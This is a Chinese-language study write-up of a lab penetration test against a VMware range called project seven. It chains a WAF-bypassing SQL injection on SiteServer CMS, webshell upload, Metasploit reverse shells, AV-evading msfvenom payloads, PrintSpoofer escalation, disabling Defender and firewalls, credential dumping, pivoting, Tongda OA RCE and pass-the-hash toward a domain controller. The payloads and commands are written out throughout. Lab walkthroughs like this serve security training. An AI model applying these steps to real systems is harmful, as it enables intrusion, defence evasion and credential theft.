#免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。
环境配置
靶场搭建
靶场地址: https://pan.baidu.com/s/12pSYxSU-ZmurQ9–GFiaXQ
提取码: 3p47
项目七靶场渗透最终目的:获得域控中的flag.txt文件中的内容
项目七靶场环境是用 VMware Workstation 搭建,把环境文件下载后,用VMware Workstation 编辑虚拟网络编辑器即可正常访问。
- WEB 服务器是双网卡
第一块网卡桥接 ip 段是 192.168.0.0/24
第二块网卡 vmnet18 10.10.1.0/24
- oa 服务器
第一块网卡 vmnet18 10.10.1.0/24
第二块网卡 vmnet19 10.10.10.0/24
- dc 域控
网卡 vmnet19 10.10.10.0/24
网络拓扑图
测试网络
外网
对于主机web服务器是无法ping通的、防火墙拦截了数据包,所以可以通过直接访问它的80端口,查看网络是否连通
内网
由于内网主机OA同样设置有防火墙所以web与oa之间不能ping通,同样可以通过访问80端口,查看连通状态
由于dc没有设置防火墙,所以oa是可以直接ping通的
信息收集
确认ip
使用netdiscover 探测内网
sudo netdiscover -i eth0 -r 192.168.0.0/24
192.168.0.114就是渗透对象
也可以使用nmap扫描
nmap -sP -PI -PT 192.168.0.0/24
端口扫描
利用masscan与nmap联合加快扫描速度
masscan
因为服务器上安全防护软件 尽量把 rate 的值调低 ,调大可能会被封(如果被封20分钟后解封)
masscan -p 1-65535 192.168.0.114 --rate=100
nmap
nmap -sV -p 3389,5985,6588,999,21,80 -A 192.168.0.114 -oA attack-ports
这是对nmap扫描结果美化后的界面
美化参考文章
http://t.csdn.cn/hjHSQ
绊定hosts域名
这个靶场 web 服务器的域名是 www.moonlab.com 在 hosts 绑定对应的 IP 方能访问 web 服务。
linux 系统 /etc/hosts
windows C:\Windows\System32\drivers\etc\hosts
192.168.0.114 www.moonlab.com
绑定后访问
发现什么都没有显示,随便加了个index.php,发现网站存在安全狗
whataweb查询网站的cms
whatweb www.moonlab.com
被WAF拦截了
目录扫描
由于已经知道有WAF存在,使用一般现有的扫描器都会被拦截
这里使用dirsearch开默认线程扫描会被拦截,所以将线程设置为1扫,但是并没有扫出有用的结果,基本都被WAF(安全狗)拦截返回200,还一个原因字典不够强大
python dirsearch.py -u "www.moonlab.com" -t 1 -e*
去网上了解了扫描目录WAF(安全狗)绕过的方法:
- 降低请求频率,防止IP被ban
- 爬虫白名单绕过
- 代理池请求
WAF绕过参考文章:
https://www.freebuf.com/articles/web/288912.html
https://blog.csdn.net/weixin_50464560/article/details/120926097
这里由于一般扫描器都被拦截,就使用暗月师傅提供的文档里的一个目录遍历脚本,字典使用的是dirsearch自带的dicc.txt,脚本将结果输出为url.txt
#encoding:utf-8
from cgitb import reset
import requests
import sys
import time
# url = "http://www.moonlab.com"
with open ('dicc.txt','r',encoding='UTF-8') as readfile:
for dirs in readfile.readlines():
url = 'http://www.moonlab.com/'+dirs.strip('\n')
resp = requests.get(url)
strlen = len(resp.text)
print(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen))
#sys.exit()
time.sleep(2)
if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301:
if str(strlen) != "2939":
with open('url.txt','a',encoding='UTF-8') as writefile:
writefile.write(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen)+'\n')
可以看到爆出了robots.txt文件,它的请求包返回长度为84,做到这里突然想起nmap扫描端口信息时有一个端口999开放的服务,由于本人学的很浅,这么敏感的信息没有第一时间发现利用
关于robots.txt文件介绍
https://blog.csdn.net/google_SEO_yang/article/details/122380323
浏览器访问
发现了三个后台地址,依次访问
http://www.moonlab.com/UserCenter/
http://www.moonlab.com/SiteFiles/
http://www.moonlab.com/siteserver/
发现是个CMS的框架有管理员登录后台和用户登录且直接显示了版本信息
系统版本: 3.6.4
.NET 版本: 2.0
数据库: Microsoft SQL Server
ps:这里如果字典足够强大的话,可以直接扫出这个后台地址响应状态为500
漏洞利用
漏洞查询
siteserver 曾经爆出过很多漏洞,而且当前的版本比较低,百度或谷歌搜索这个CMS版本可能存在的漏洞:
发现可能会存在sql注入和管理员密码重置漏洞
sql注入
POC验证
利用一些现有的poc来验证一下是否存在sql注入(如果使用一些漏洞扫描器,都会应恶意请求被WAF封掉)
https://github.com/w-digital-scanner/w9scan/tree/master/plugins/siteserver
https://github.com/hmoytx/WVS/tree/master/cmsscan/model/cms/siteserver
前者的2739.py将几个payload结合了一起扫,后者是分开的,但是这里我们只需利用其中的payload修改POC脚本,修改方法和之前目录扫描脚本方式一样,重新构造请求发送。
import requests
ps=[
'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
url="http://www.moonlab.com/"+ps
res = requests.get(url)
if res.status_code==500 and "GAOJIMicrosoft" in res.text: #通过返回请求过滤所需的结果
print(url+'\n')
print('-------------------------------'+'\n')
print(res.text)
可以利用的payload
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
#url解码
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and char(71)+char(65)+char(79)+char(74)+char(73)+@@version=2; --
访问页面,可以看到是报错注入
接下来尝试构造sql语句查询
- 数据库版本信息
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and @@version=2; --
- 数据库名称
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=2; --
WAF绕过
发现被WAF拦截了,去网上查找了一些sql注入绕过WAF的文章,尝试了一下,发现还是不行(太菜了),然后观看暗月师傅的视频里是采用了按位取反的方式成功绕过了WAF,即~
sql注入WAF绕过:
https://www.freebuf.com/articles/web/330731.html
在上面那个payload中的2前上加一个~,即可绕过
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=~2; --
可以看到数据库名为
msmoonlab
- 查询用户密码
知道了数据库名,接着需要了解一下siteserver的数据库表结构,这个我们已经知道了它的CMS信息,是可以在网上找到相关表结构的,或者可以将该CMS下载在本地查看,这里为了方便直接进入靶机查看一手
siteserver数据库表结构信息:
https://blog.csdn.net/u011966339/article/details/72235648
可以看到administrator表中的几个关键字段
UserName 用户名
Password 密码
PasswordSalt 密钥
据此来构造sql查询语句,构造payload
#注意为了防止被WAF,每次只查询一个字段
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and select top 1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]=~2; --
发现还是被WAF截掉,尝试将取反放在前面
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=select top 1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]; --
可以看到成功绕过了WAF,但是报了select语法错误,给select语句加上一个括号
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
成功绕过查到了用户名admin,继续查询密码、密钥
admin
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 password from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
64Cic1ERUP9n2OzxuKl9Tw==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 passwordsalt from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
LIywB/zHFDTuEA1LU53Opg==
用户名 | 密码 | 密钥 |
---|---|---|
admin | 64Cic1ERUP9n2OzxuKl9Tw== | LIywB/zHFDTuEA1LU53Opg== |
DLL反编译
由于这一块不熟,直接按照暗月师傅的攻略来。
反编译 dll 主要用来查看网站的源码,这里主要是找到用户的加密方法。
siteserver/login.aspx 找到对应的 dll 文件位置
<%@ Page Language=“C#” Inherits=“UserCenter.Pages.LoginPage” %>
通过 dnSpy 反编译得到加密文件
查询到密文的加密方式是 des 对称加密,加密函数如下
public void DesEncrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
try
{
byte[] bytes =
Encoding.UTF8.GetBytes((this.x39d9653625493ae8.Length > 8) ?
this.x39d9653625493ae8.Substring(0, 8) : this.x39d9653625493ae8);
DESCryptoServiceProvider descryptoServiceProvider = new
DESCryptoServiceProvider();
byte[] bytes2 = Encoding.UTF8.GetBytes(this.x3c811436980dcf17);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream,
descryptoServiceProvider.CreateEncryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(bytes2, 0, bytes2.Length);
cryptoStream.FlushFinalBlock();
if (!false)
{
}
this.xc7d800b8a71773fd =
Convert.ToBase64String(memoryStream.ToArray());
}
catch (Exception ex)
{
this.x456956327593d9f6 = ex.Message;
}
}
解密函数:
public void DesDecrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
byte[] array = new byte[this.x3c811436980dcf17.Length];
try
{
byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(0, 8));
DESCryptoServiceProvider descryptoServiceProvider = new
DESCryptoServiceProvider();
array = Convert.FromBase64String(this.x3c811436980dcf17);
MemoryStream memoryStream = new MemoryStream();
if (!false)
{
}
CryptoStream cryptoStream = new CryptoStream(memoryStream,
descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
}
catch (Exception ex)
{
this.x456956327593d9f6 = ex.Message;
}
}
this.x456956327593d9f6
使用C#编写解密工具
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
namespace siteserver 明文解密工具
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public void DesDecrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
byte[] array = new byte[this.textBox1.Text.Length];
try
{
byte[] bytes = Encoding.UTF8.GetBytes(this.textBox2.Text.Substring(0,
8));
DESCryptoServiceProvider descryptoServiceProvider = new
DESCryptoServiceProvider();
array = Convert.FromBase64String(this.textBox1.Text);
MemoryStream memoryStream = new MemoryStream();
if (!false)
{
}
CryptoStream cryptoStream = new CryptoStream(memoryStream,
descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
this.textBox3.Text = encoding.GetString(memoryStream.ToArray());
}
catch (Exception ex)
{
this.textBox4.Text = ex.Message;
}
}
private void button1_Click(object sender, EventArgs e)
{
DesDecrypt();
}
}
}
admin5566
密码重置漏洞
在寻找这个CMS漏洞中发现可能会存在管理员密码重置漏洞
先进入管理员登录界面,点击忘记密码
输入刚刚获取的管理员用户名admin,点击下一步,进入回答问题界面,随便输入,然后使用burp suite抓包
将答案设置为空
然后放包,此时回到浏览器界面可以看到明文密码被爆出来了,和刚刚解密出来的密文一致,nice!!!!!
文件上传漏洞
寻找上传点
上一步成功获取了管理员用户名和密码,登录后台,寻找 文件上传点
admin
admin5566
在内容模型模块找到几个上传点,上传一些过狗马和压缩包都给WAF拦截了或者报上传错误,只能继续寻找
在网上搜索到管理员后台getshell的方法,试了一种可行,另外两种就没试了,感兴趣可以试一下
siteserver CMS getshell;
http://t.csdn.cn/jesf4
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
上传webshell
这里直接在下面写入aspx一句话木马最好是过狗马,这里我使用的是冰蝎自带的aspx,没被WAF,输入完点击确定,返回模板管理
点击生成的文件名,会跳转到该文件位置
http://www.moonlab.com/.aspx
getshell
复制地址尝试用冰蝎连接
没想到成功连上了,没被WAF杀掉,奥利给!!!!!
方法二
我看暗月师傅的视频和文档里利用的不是这个上传点,是
系统管理-》站点模板管理-》导入站点模板,这里我也尝试了一下,是直接上传压缩包
导入压缩好的冰蝎马,点击确定
然后我就遇到问题了,这里确定后啥页面没显示,也没被WAF拦截,应该是上传成功了,但是这个页面没有任何新的东西显示,不知道上传到哪去了,不知道文件路径,然后一时间不知道该怎么办,看暗月师傅视频里,他是直接进入靶机里面查看的。emmmmmm
不过在经过一番寻找后我发现了系统管理下面有一个站点文件管理,点进去查看,发现是整个网站目录,nice!!!!
#这里也给大家一些提示就是,还可以去网上搜索该CMS的目录结构,和前面数据库时一样,或者有时间有条件可以把CMS下载到本地去查看
经过一番查找之后发现刚刚上传的压缩包在SiteFiles->SiteTemplates下,并且已经解压了,接下来就好办了
打开shell文件夹,点击里面的shell.apsx直接跳转到文件地址
发现界面和刚刚一样,感觉有戏:
http://www.moonlab.com/SiteFiles/SiteTemplates/shell/shell.aspx
直接上冰蝎连接,连接成功,奥利给
这里我都是使用冰蝎马上传的,且没被WAF拦截,不过也去了解了一些过狗马的思路和方法
文件上传绕过WAF:
https://blog.csdn.net/qq_50854790/article/details/123691985
WEB服务器信息收集
前面成功getshell,使用冰蝎执行命令,收集信息
用户信息
whoami /all
SeImpersonatePrivilege 身份验证后模拟客户端 已启用 这个服务能够帮助我们提权
系统信息
systeminfo
IP
ipconfig /all
可以看到两块网卡信息,划重点
Ethernet0:192.168.0.114
Ethernet1:10.10.1.131
开放的端口
netstat -ano
开启的服务
net start
存在的防护服务
safedog 安全狗
Defender win自带的杀毒
firewall 防火墙
可以利用的服务
MySQL 提权
SQLserver 提权
Print Spooler 打印机服务提权
开启的进程
tasklist
信息整理
- web 服务器有双网卡
- 两个 ip 分别是192.168.0.114和 10.10.1.131 ,发现了新网段 10.10.1.0/24
- 当前是 普通用户权限
- 服务器有 WAF,windows defender 等防护措施
代理穿透
反弹shell
这一步其实可以不用操作,作为不是很大,但是我的主要目的是为了多学习,所以多实践了一下。
直接利用冰蝎提供的反弹shell模块联合MSF反弹shell,话不多说,开干
接着打开kali的msf,执行下列命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
show options
expolit
开启监听,回到冰蝎点击给我连
隧道代理
添加路由:
查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.1.0/24
查看添加的路由表信息
run autoroute -p
添加代理
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 5555
run
设置本地代理文件配置
我kali是这个文件
vim /etc/proxychains4.conf
一般都是
vim /etc/proxychains.conf
#测试一下是否成功
proxychains4 curl 10.10.1.130
成功访问
转CS
msf与cs互传shell
https://blog.csdn.net/qq_44159028/article/details/124278770
先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中
设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.10 //cs主机地址
set LPORT 6060 //随意设置监听端口,需要和cs保持一致
set session 1 //设置需要派送的meterpreter
set DisablePayloadHandler true //禁止产生一个新的handler
run
权限提升
PrintSpoofer 提权
去网上搜索了一些windows的提权思路,本意是为了多学习点东西,这里所使用的是CVE-2022-21999 Windows Print Spooler(打印服务),由于存在WAF和防火墙,还要注意免杀处理
Windows server-2016 print提权
https://blog.csdn.net/hackzkaq/article/details/124882702
https://blog.csdn.net/weixin_46944519/article/details/123602625
将下载的程序上传至C:/Windows/Temp/
#这里我们得到的shell的用户权限是很小的、打开的终端也是不能查看文件切换目录的、所以我们在上传文件的时候要注意上传到最小用户也能读能执行的目录下、和Linux一样需要上传到Temp目录
切换到虚拟终端执行程序
PrintSpoofer64.exe -h
查看权限是否提升
PrintSpoofer64.exe -i -c "whoami"
当前权限是 system 服务器上装有多个防护 服务器安全狗,增加用户会被拦截。最好是直接上远控,但是 windows server 2016 自带杀defender 远控或者shellode 都会被查杀,所以要做免杀处理。
免杀处理
制作免杀payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=2333 -e x86/shikata_ga_nai -i 20 -f c -o payload.txt
复制payload.txt里面的内容
使用工具进行shellcode编译
被火狐给查杀了,但还是抱着试一下的心态看能不能行
上传生成的免杀notepad.exe
上传成功,没被杀掉,感觉有戏
MSF监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2333
exploit -j
得到session
用刚刚执行管理员权限去运行免杀程序
PrintSpoofer64.exe -i -c "notepad.exe"
可以看到成功得到session,查看权限
寻找一个系统进程和管理员进程进行迁移
哦豁,刚迁移完进程就被windows defender查杀了,难受了
关windows defender
这里看了暗月师傅里的视频,也是同样如此,他重新启动靶机,更改攻击载荷后成功又得到了session,但是我感觉还是不是很稳妥,参考一篇大佬的文章思路是:既然绕过不杀软、为何不直接将它杀了,然后利用了这个工具
下载下来后,直接上传
然后利用printspoofer漏洞获取一个system的执行DefenderSwitch.exe
PrintSpoofer64.exe -i -c "DefenderSwitch.exe -off"
可以看到windows defender service被关闭了,接下来就好办了,重复刚刚得到session的步骤
再次监听获取session
因为我是另外开的一个kali-shell窗口,所以session变为了1
迁移进程
再次寻找一个系统进程和管理员进程进行迁移
这次就没东西可杀了,哈哈哈哈
转CS
注意要查看一下隧道代理是否还在,然后和上面步骤一样
先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中
设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.0.10 //cs主机地址
set LPORT 6060 //随意设置监听端口,需要和cs保持一致
set session 1 //设置需要派送的meterpreter
set DisablePayloadHandler true //禁止产生一个新的handler
run
内网信息收集
获取密码hash明文
可以直接通过cs来获取管理员密码
hashdump
logonpasswords
administrator
!@#QWE123
当然还可以直接在msf中mimikatz破解hash来获取账户密码,但是我测试有点问题没有一直纠结它,直接hashdump,然后md5解密。
mimikatz使用教程
https://blog.csdn.net/weixin_40412037/article/details/113348310
load kiwi //加载kiwi模块
help kiwi //查看帮助
hashdump
这里还可以使用hashcat工具来破解明文密码,这里我就没列举实验了
hashcat简单使用
https://blog.csdn.net/SHIGUANGTUJING/article/details/90074614
远程桌面登录
遇到点问题:
解决:
重新连接
关闭WAF
清除痕迹、关闭安全狗、Windows Defeder在前面我们已经完全的关闭了
跨网段信息收集
查看arp信息
arp -a
可以看到10.10.1.0网段有一台130主机,本机是131,进一步确认
IP扫描
arp_scanner
使用msf的自带得arp扫描,之前操作已经做了代理穿透
run arp_scanner -r 10.10.1.0/24
nmap
这里不推荐使用nmap扫描ip,慢慢慢慢!!!!
proxychains nmap -sT -Pn 10.10.1.0/24
确认内网目标
10.10.1.130
端口扫描
masscan
proxychains masscan -p 1-65535 10.10.1.130 --rate=500
nmap
nmap扫最好指定一些常用端口,不然效率太低了
proxychains nmap -sT -Pn 10.10.1.130 -p
80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984 ,6379,7001,7002,9200,
9300 ,11211,27017,27018 ,50000,50070,50030,21,22,23,2601,3389 --open
可以看到只能扫到80端口开放,应该做了端口访问控制。
访问80端口,可以看到又是一个CMS:通达OA
漏洞利用
通达OA文件上传
前面成功访问了第二台主机的80端口,发现使用的是通达OACMS,去百度了一下,发现这个cms有很多漏洞,其中就包含文件上传文件包含,并且都能getshel,由于我的目的是为了getshell,继续渗透,就没有过多去复现通达OA的各种漏洞,过后有时间可以再来玩玩。
通达OA漏洞详情:
https://jishuin.proginn.com/p/763bfbd5a77f
https://lorexxar.cn/2021/03/03/tongda11-7rce/
https://xz.aliyun.com/t/7433
网上有很多现成的RCE利用工具,可以直接利用getshell
工具地址;
https://github.com/Al1ex/TongDa-RCE
https://github.com/xinyu2428/TDOA_RCE
RCE
python tongda_rce.py http://10.10.1.130/
可以看到RCE成功,为系统权限,看看脚本源码,执行的是whoami
getshell
python tongda_shell.py http://10.10.1.130/
这个shell应该被安全软件查杀了,所以得将脚本里的webshell进行base64编码,以多种姿态去绕过查杀,下面是另一个RCE-getshell的工具
可以看到地址响应状态是200,
然后使用蚁剑连接,这里由于已经做了socks代理,所以是能直接连接的
可以看到连接成功,进入到webroot目录下能看到上传的shell
可以看到是系统权限,不用再进行提权操作了
OA服务器信息收集
用户信息
whoami /all
系统信息
systeminfo
可以看到OA服务器所处在的域
attack.local
IP
ipconfig
可以有两块网卡信息,划重点
Ethernet0:10.10.1.10
Ethernet1:10.10.10.166
开放的端口
netstat -ano
可以看到几个重要端口都是开放的,这里445端口是开放的、如果可以利用的话、我们可以避免麻烦直接使用正向代理进行连接、这样就避免做二次代理的麻烦了。
开启的服务
net start
开启的进程
tasklist /svc //进程列表
信息整理
- oa 服务器有双网卡
- 两个 ip 分别是 10.10.1.130 和 10.10.10.166,发现了新网段 10.10.10.0/24
- 当前是 system 权限
- 服务器有 360 安全卫士,360 杀毒软件,windows firewall 等防护措施
免杀上线msf、CS
关闭Windows防火墙
NetSh Advfirewall set allprofiles state off
现在可以访问除 80 以外的端口,可以正向连接 oa 服务器 再进行其他操作深入的操作。
之前端口扫描只扫到一个80端口,在刚看到445端口也是开放的,再次使用nmap扫描验证一下
proxychains4 nmap -sT -Pn 10.10.1.130 -p 445
生成免杀木马
制作payload
msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -e x86/shikata_ga_nai -i 20 -f c -o bind.txt
免杀处理
工具地址前文有
蚁剑上传
发现并没有被杀掉,应该免杀成功
制作CS木马
先添加一个tcp监听,然后使用Windows Executable(Stageless)生成payload
蚁剑上传
没被查杀
上线msf
设置监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.1.130 #正向连接的时候直接是设置目标机器的ip即可
set lport 6666
运行上线msf
可以看到成功得到session,上线msf
上线CS
运行payload
cs监听,成功上线
connect 10.10.1.130 3333
横向渗透
获取密码
hashdump
logonpasswords
ntlm解密
存在 attack 域 看来是域管理登录
域控
administrator
!@#QWEasd
过的 访问用户目录存在域管理用户目录
域信息收集
一下是一些基础命令
net user /domain 查看域用户
net view /domain 查看有几个域
net view /domian:xxx 查看域内主机
net group /domain 查看域里面的组
net group "domain computers" /domain 查看域内主机名
net group "domain admins " /domian 查看域管理员
net group "domain controllers" /domain 查看域控制器
net group "enterprise admins " /domain 查看企业管理组
net time /domain 查看时间服务器
定位域控
net time
域控:dc.attack.local
查看域控的用户登录情况
以上列举了三种方法,其实内网信息收集方法很多这里没有一一去学习,比如powershell、empire等等工具都可以
使用msf
登陆域的用户信息
run post/windows/gather/enum_logged_on_users
域内 PC
run post/windows/gather/enum_ad_computers
域控名和dcip
run post/windows/gather/enum_domain
[+] FOUND Domain: attack
[+] FOUND Domain Controller: dc (IP: 10.10.10.165)
组信息
run post/windows/gather/enum_ad_groups
使用shell
查看域内用户
小插曲,解决乱码问题,在shell终端输入
chcp 65001
查看域控所在的组
net group /domain
查看登录域内的administrator用户
net localgroup administrators /domain
查看域内的admin用户
net group "domain admins" /domain
查看域控制器
net group "domain controllers" /domain
使用CS
cs域内信息收集详情:
http://www.360doc.com/content/21/0614/08/71939662_981945264.shtml
cs有很多内网信息收集的插件感兴趣的可以去网上找一找
cs相关资源;
https://github.com/zer0yu/Awesome-CobaltStrike
插件:
https://github.com/lintstar/LSTAR
https://github.com/pandasec888/taowu-cobalt-strike
https://github.com/k8gege/Ladon
域名
net domain
域控登录的主机信息
net computers
域控的主机名以及ip信息
net domain_controllers
域控信息、用户名
net domain_trusts
所有登录域的用户信息
net logons
会话
net sessions
共享
net share
访问域控信息
添加路由
在oa服务器10.10.1.130的机器上在添加一条10.10.10.0/24的静态路由、以便我们访问域控的10.10.10.165的机器
run autoroute -s 10.10.10.0/24
run autoroute -p
访问域控主机
proxychains4 ping 10.10.10.165
端口扫描
proxychains4 masscan -p 1-65535 10.10.10.165 --rate=500
可以看到3389端口是开放的
proxychains nmap -sT -Pn 10.10.10.165 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,21,22,23,2601,3389 --open
获取域控管理员
窃取进程建立shell
msf建立dc-shell
一般可以在OA主机上发现域控管理员在线的进程,然后msf直接使用命令窃取进程,尝试获得administrator的用户shell
查看进程,可以看到attack的管理员进程也就是域控
使用命令窃取进程
尝试建立administrator的用户shell
无法得到域控shell,尝试访问dc的c盘,同样无法访问,那么这个administrator是没有意义的
rev2self
取消刚刚窃取的attack的shell
CS建立dc-shell
注入进程,建立shell
尝试访问文件,和查看用户
可以看到cs能成功拿到域控了
kiwi 域管 ntlm
dcsync_ntlm administrator
dcsync_ntlm krbtgt
SMB利用
前文已经获取了ATTCK域中administrator账户的hash,尝试PTH(在PTH之前要新建一个SMB监听器)使用CS开启一个smb监听
获取域控失败
利用msf的smb模块也同样失败了,具体什么原因不知道
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.165
set payload windows/meterpreter/reverse_tcp
set LPORT 8888
set LHOST 192.168.1.130
set SMBUSER Administrator
set SMBPASS d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1
set SMBDomain attack.local
exploit
远控获取flag文件
前面尝试利用smb横向渗透获取域控失败了,不过还可以利用3389端口远程登录
总结
本次渗透只是为了学习一下内网渗透中 的一些攻击思路和技巧(比如常见的横向、纵向渗透、代理穿透、提权、免杀等等),当然还有很多东西没有涉及到(端口转发、维持、日志清理等等),这些也是要继续学习的地方。本文也只是涉及到内网渗透中一些最基本的东西,还有很多方法和手段可以利用,俗话说问题是死的,人是活的,没有最好只有更好,还需继续学习。
全文参考:
https://bbs.zkaq.cn/t/5069.html
https://blog.csdn.net/weixin_46250265/article/details/122757158